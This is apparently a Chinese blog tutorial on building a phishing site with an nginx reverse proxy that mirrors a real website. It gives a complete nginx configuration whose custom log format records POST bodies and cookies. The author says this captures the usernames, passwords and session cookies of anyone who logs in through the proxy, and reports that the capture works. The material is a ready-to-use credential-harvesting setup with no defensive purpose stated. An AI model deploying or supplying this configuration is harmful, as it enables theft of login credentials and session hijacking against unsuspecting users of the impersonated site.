Nginx反向代理钓鱼
一、反向代理简介
反向代理服务器位于用户与目标服务器之间,但是对于用户而言,反向代理服务器就相当于目标服务器,即用户直接访问反向代理服务器就可以获得目标服务器的资源。同时,用户不需要知道目标服务器的地址,也无须在用户端作任何设定。反向代理服务器通常可用来作为Web加速,即使用反向代理作为Web服务器的前置机来降低网络和服务器的负载,提高访问效率。
二、准备环境
服务器:需要配置nginx,笔者使用的centos7虚拟机+宝塔
原地址:http://www.xnote.cn/
反向代理后的地址:http://10.211.55.6:8080/
三、配置部署
打开nginx的配置文件/www/server/nginx/conf/nginx.conf
,这里有两个要注意的点
- 需要在http处添加如下代码,这个是指定在日志中存储什么内容,TestLog要与后边的nginx配置一致
1
log_format Testlog escape=json '$request_filename $http_x_forwarded_for $fastcgi_script_name $document_root $request_body' $http_cookie;
- 查看你的nginx.conf配置中包含的其他配置文件位置,记住他,去该位置新增具体的配置信息
我们进入/www/server/panel/vhost/nginx/
中,新建test.conf
文件,在该文件内做具体的信息配置1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18server{
listen 8080;
server_name 10.211.55.6;
index index.html index.htm index.php;
access_log /www/wwwlogs/access.log Testlog;
location / {
proxy_pass http://www.xnote.cn;
proxy_buffering off;
proxy_set_header X-Real-Ip $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host "www.xnote.cn";
proxy_set_header Accept-Encoding "";
proxy_set_header User-Agent $http_user_agent;
proxy_set_header referer "http://xnote.cn$request_uri";
}
}server_name
为域名,这里我用自己服务器的ipaccess_log
为设置输出日志的路径proxy_pass
需要反向代理的网站proxy_set_header
用于在向反向代理的后端 Web 服务器发起请求时添加指定的 Header头信息。
access_log
要和上面的nginx.conf
配置中的Testlog
对应不然日志不会起作用。
重点是$request_body
(获取post数据),$http_cookie
(获取cookie数据)这就是我们钓鱼的核心了。当有人访问并登陆我们反向代理的网站以后 我们点开日志就可以看到他的cookie和post提交的用户名和密码了。
四、实战效果
我们在浏览器中访问访问自己服务器的ip,可以看到是自己的ip,但是显示的却是目标系统的界面,说明反向代理成功。
任意进行注册或者登陆操作,可以在日志中看到获取的账户密码和cookie
用户登陆操作也没问题
参考文章
https://www.zifangsky.cn/728.html
http://drops.xmd5.com/static/drops/tips-6570.html
https://joker-vip.github.io/2020/10/23/nginx%E5%8F%8D%E5%90%91%E4%BB%A3%E7%90%86%E9%92%93%E9%B1%BC/
https://payloads.online/archivers/2021-02-16/1
https://www.freebuf.com/articles/web/243404.html
https://www.cnblogs.com/R4v3n/articles/8460811.html